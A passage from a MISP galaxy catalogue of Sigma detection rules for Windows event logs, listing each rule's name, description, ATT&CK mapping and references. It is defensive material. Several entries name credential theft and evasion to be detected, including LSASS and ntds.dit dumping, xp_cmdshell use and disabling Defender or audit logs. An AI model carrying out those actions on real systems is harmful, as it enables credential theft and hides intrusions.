
Table 16283. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5001
https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_disabled.yml

PSExec and WMI Process Creations Block

Detects blocking of process creations originating from PSExec and WMI commands

The tag is: *misp-galaxy:sigma-rules="PSExec and WMI Process Creations Block"*

View relationships graph

PSExec and WMI Process Creations Block has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16284. Table References

Links
https://twitter.com/duff22b/status/1280166329660497920
https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-process-creations-originating-from-psexec-and-wmi-commands
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_asr_psexec_wmi.yml

Windows Defender Exploit Guard Tamper

Detects when someone is adding or removing applications or folders from exploit guard "ProtectedFolders" or "AllowedApplications"

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exploit Guard Tamper"*

View relationships graph

Windows Defender Exploit Guard Tamper has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16285. Table References

Links
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_exploit_guard_tamper.yml

LSASS Access Detected via Attack Surface Reduction

Detects Access to LSASS Process

The tag is: *misp-galaxy:sigma-rules="LSASS Access Detected via Attack Surface Reduction"*

View relationships graph

LSASS Access Detected via Attack Surface Reduction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16286. Table References

Links
https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_asr_lsass_access.yml

Windows Defender Virus Scanning Feature Disabled

Detects disabling of the Windows Defender virus scanning feature

The tag is: *misp-galaxy:sigma-rules="Windows Defender Virus Scanning Feature Disabled"*

View relationships graph

Windows Defender Virus Scanning Feature Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16287. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5012
https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_virus_scan_disabled.yml

Windows Defender Malware Detection History Deletion

Windows Defender logs when the history of detected infections is deleted.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Malware Detection History Deletion"*

Table 16288. Table References

Links
https://web.archive.org/web/20160727113019/https://answers.microsoft.com/en-us/protect/forum/mse-protect_scanning/microsoft-antimalware-has-removed-history-of/f15af6c9-01a9-4065-8c6c-3f2bdc7de45e

https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml

Windows Defender Exclusions Added

Detects the Setting of Windows Defender Exclusions

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exclusions Added"*

View relationships graph

Windows Defender Exclusions Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16289. Table References

Links
https://twitter.com/_nullbind/status/1204923340810543109
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_exclusion_added.yml

Windows Defender Malware And PUA Scanning Disabled

Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software

The tag is: *misp-galaxy:sigma-rules="Windows Defender Malware And PUA Scanning Disabled"*

View relationships graph

Windows Defender Malware And PUA Scanning Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16290. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_malware_and_pua_scan_disabled.yml

Win Defender Restored Quarantine File

Detects the restoration of files from the defender quarantine

The tag is: *misp-galaxy:sigma-rules="Win Defender Restored Quarantine File"*

View relationships graph

Win Defender Restored Quarantine File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16291. Table References

Links
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_restored_quarantine_file.yml

Windows Defender AMSI Trigger Detected

Detects triggering of AMSI by Windows Defender.

The tag is: *misp-galaxy:sigma-rules="Windows Defender AMSI Trigger Detected"*

View relationships graph

Windows Defender AMSI Trigger Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16292. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_malware_detected_amsi_source.yml

Windows Defender Grace Period Expired

Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Grace Period Expired"*

View relationships graph

Windows Defender Grace Period Expired has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16293. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5101
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_antimalware_platform_expired.yml

Windows Defender Real-Time Protection Failure/Restart

Detects issues with Windows Defender Real-Time Protection features

The tag is: *misp-galaxy:sigma-rules="Windows Defender Real-Time Protection Failure/Restart"*

View relationships graph

Windows Defender Real-Time Protection Failure/Restart has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16294. Table References

Links
https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_errors.yml

Windows Defender Configuration Changes

Detects suspicious changes to the Windows Defender configuration

The tag is: *misp-galaxy:sigma-rules="Windows Defender Configuration Changes"*

View relationships graph

Windows Defender Configuration Changes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16295. Table References

Links
https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_suspicious_features_tampering.yml

Windows Defender Submit Sample Feature Disabled

Detects disabling of the "Automatic Sample Submission" feature of Windows Defender.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Submit Sample Feature Disabled"*

View relationships graph

Windows Defender Submit Sample Feature Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16296. Table References

Links
https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_sample_submission_consent.yml

Restricted Software Access By SRP

Detects restricted access to applications by the Software Restriction Policies (SRP) policy

The tag is: *misp-galaxy:sigma-rules="Restricted Software Access By SRP"*

View relationships graph

Restricted Software Access By SRP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 16297. Table References

Links
https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_software_restriction_policies/win_software_restriction_policies_block.yml

Relevant Anti-Virus Signature Keywords In Application Log

Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.

The tag is: *misp-galaxy:sigma-rules="Relevant Anti-Virus Signature Keywords In Application Log"*

View relationships graph

Relevant Anti-Virus Signature Keywords In Application Log has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588" with estimative-language:likelihood-probability="almost-certain"

Table 16298. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31
https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01
https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/Other/win_av_relevant_match.yml

LSASS Process Crashed - Application

Detects Windows error reporting events where the process that crashed is LSASS (Local Security Authority Subsystem Service). This could be the cause of a provoked crash by techniques such as Lsass-Shtinkering to dump credentials.

The tag is: *misp-galaxy:sigma-rules="LSASS Process Crashed - Application"*

View relationships graph

LSASS Process Crashed - Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16299. Table References

Links
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
https://github.com/deepinstinct/Lsass-Shtinkering
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/application_error/win_application_error_lsass_crash.yml

Microsoft Malware Protection Engine Crash

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

The tag is: *misp-galaxy:sigma-rules="Microsoft Malware Protection Engine Crash"*

View relationships graph

Microsoft Malware Protection Engine Crash has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16300. Table References

Links
https://technet.microsoft.com/en-us/library/security/4022344
https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/application_error/win_application_error_msmpeng_crash.yml

Microsoft Malware Protection Engine Crash - WER

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

The tag is: *misp-galaxy:sigma-rules="Microsoft Malware Protection Engine Crash - WER"*

View relationships graph

Microsoft Malware Protection Engine Crash - WER has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16301. Table References

Links
https://technet.microsoft.com/en-us/library/security/4022344
https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/windows_error_reporting/win_application_msmpeng_crash_wer.yml

Ntdsutil Abuse

Detects potential abuse of ntdsutil to dump ntds.dit database

The tag is: *misp-galaxy:sigma-rules="Ntdsutil Abuse"*

View relationships graph

Ntdsutil Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16302. Table References

Links
https://twitter.com/mgreen27/status/1558223256704122882

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse.yml

Dump Ntds.dit To Suspicious Location

Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location

The tag is: *misp-galaxy:sigma-rules="Dump Ntds.dit To Suspicious Location"*

Table 16303. Table References

Links
https://twitter.com/mgreen27/status/1558223256704122882
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse_susp_location.yml

Audit CVE Event

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

The tag is: *misp-galaxy:sigma-rules="Audit CVE Event"*

View relationships graph

Audit CVE Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

Table 16304. Table References

Links
https://www.youtube.com/watch?v=ebmW42YYveI
https://nullsec.us/windows-event-log-audit-cve/
https://twitter.com/DidierStevens/status/1217533958096924676
https://twitter.com/FlemmingRiis/status/1217147415482060800
https://twitter.com/VM_vivisector/status/1217190929330655232
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft-windows_audit_cve/win_audit_cve.yml

MSSQL XPCmdshell Option Change

Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.

The tag is: *misp-galaxy:sigma-rules="MSSQL XPCmdshell Option Change"*

Table 16305. Table References

Links
https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_change.yml

MSSQL SPProcoption Set

Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started

The tag is: *misp-galaxy:sigma-rules="MSSQL SPProcoption Set"*

Table 16306. Table References

Links
https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_sp_procoption_set.yml

MSSQL Destructive Query

Detects the invocation of MS SQL transactions that are destructive towards table or database data, such as "DROP TABLE" or "DROP DATABASE".

The tag is: *misp-galaxy:sigma-rules="MSSQL Destructive Query"*

View relationships graph

MSSQL Destructive Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 16307. Table References

Links
https://learn.microsoft.com/en-us/sql/t-sql/statements/truncate-table-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-database-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-table-transact-sql?view=sql-server-ver16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_destructive_query.yml

MSSQL Add Account To Sysadmin Role

Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role

The tag is: *misp-galaxy:sigma-rules="MSSQL Add Account To Sysadmin Role"*

Table 16308. Table References

Links
https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_add_sysadmin_account.yml

MSSQL Disable Audit Settings

Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server

The tag is: *misp-galaxy:sigma-rules="MSSQL Disable Audit Settings"*

Table 16309. Table References

Links
https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_disable_audit_settings.yml

MSSQL XPCmdshell Suspicious Execution

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

The tag is: *misp-galaxy:sigma-rules="MSSQL XPCmdshell Suspicious Execution"*

Table 16310. Table References

Links
https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_audit_log.yml

MSSQL Server Failed Logon From External Network

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

The tag is: *misp-galaxy:sigma-rules="MSSQL Server Failed Logon From External Network"*

View relationships graph

MSSQL Server Failed Logon From External Network has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16311. Table References

Links
https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html

https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon_from_external_network.yml

MSSQL Server Failed Logon

Detects failed logon attempts from clients to MSSQL server.

The tag is: *misp-galaxy:sigma-rules="MSSQL Server Failed Logon"*

View relationships graph

MSSQL Server Failed Logon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16312. Table References

Links
https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html
https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon.yml

Atera Agent Installation

Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators

The tag is: *misp-galaxy:sigma-rules="Atera Agent Installation"*

View relationships graph

Atera Agent Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16313. Table References

Links
https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_software_atera_rmm_agent_install.yml

MSI Installation From Web

Detects installation of a remote msi file from web.

The tag is: *misp-galaxy:sigma-rules="MSI Installation From Web"*

View relationships graph

MSI Installation From Web has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 16314. Table References

Links
https://twitter.com/*st0pp3r*/status/1583922009842802689
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_web.yml

Application Uninstalled

An application has been removed. Check if it is critical.

The tag is: *misp-galaxy:sigma-rules="Application Uninstalled"*

View relationships graph

Application Uninstalled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 16315. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/msi/event-logging
https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/Microsoft-Windows-MsiServer.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_builtin_remove_application.yml

MSI Installation From Suspicious Locations

Detects MSI package installation from suspicious locations

The tag is: *misp-galaxy:sigma-rules="MSI Installation From Suspicious Locations"*

Table 16316. Table References

Links
https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_susp_locations.yml

Backup Catalog Deleted

Detects backup catalog deletions

The tag is: *misp-galaxy:sigma-rules="Backup Catalog Deleted"*

View relationships graph

Backup Catalog Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 16317. Table References

Links
https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx
https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_backup/win_susp_backup_delete.yml

Remote Access Tool - ScreenConnect Command Execution

Detects command execution via ScreenConnect RMM

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Command Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 16318. Table References

Links
https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling
https://github.com/SigmaHQ/sigma/pull/4467
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_command_exec.yml

Remote Access Tool - ScreenConnect File Transfer

Detects file being transferred via ScreenConnect RMM

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect File Transfer"*

View relationships graph

Remote Access Tool - ScreenConnect File Transfer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 16319. Table References

Links
https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling
https://github.com/SigmaHQ/sigma/pull/4467
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_file_transfer.yml

Potential Active Directory Reconnaissance/Enumeration Via LDAP

Detects potential Active Directory enumeration via LDAP

The tag is: *misp-galaxy:sigma-rules="Potential Active Directory Reconnaissance/Enumeration Via LDAP"*

View relationships graph

Potential Active Directory Reconnaissance/Enumeration Via LDAP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 16320. Table References

Links
https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs
https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427
https://ipurple.team/2024/07/15/sharphound-detection/
https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1
https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726
https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml

USB Device Plugged

Detects plugged/unplugged USB devices

The tag is: *misp-galaxy:sigma-rules="USB Device Plugged"*

View relationships graph

USB Device Plugged has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Table 16321. Table References

Links
https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/
https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml

Active Directory Certificate Services Denied Certificate Enrollment Request

Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures.

The tag is: *misp-galaxy:sigma-rules="Active Directory Certificate Services Denied Certificate Enrollment Request"*

View relationships graph

Active Directory Certificate Services Denied Certificate Enrollment Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 16322. Table References

Links
https://www.gradenegger.eu/en/details-of-the-event-with-id-53-of-the-source-microsoft-windows-certificationauthority/
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd299871(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_certification_authority/win_system_adcs_enrollment_request_denied.yml

Critical Hive In Suspicious Location Access Bits Cleared

Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.

The tag is: *misp-galaxy:sigma-rules="Critical Hive In Suspicious Location Access Bits Cleared"*

View relationships graph

Critical Hive In Suspicious Location Access Bits Cleared has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 16323. Table References

Links

https://github.com/nasbench/Misc-Research/blob/b20da2336de0f342d31ef4794959d28c8d3ba5ba/ETW/Microsoft-Windows-Kernel-General.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kernel_general/win_system_susp_critical_hive_location_access_bits_cleared.yml

NTLMv1 Logon Between Client and Server

Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.

The tag is: *misp-galaxy:sigma-rules="NTLMv1 Logon Between Client and Server"*

View relationships graph

NTLMv1 Logon Between Client and Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 16324. Table References

Links
https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/22H2/W10_22H2_Pro_20230321_19045.2728/WEPExplorer/LsaSrv.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/lsasrv/win_system_lsasrv_ntlmv1.yml

Windows Update Error

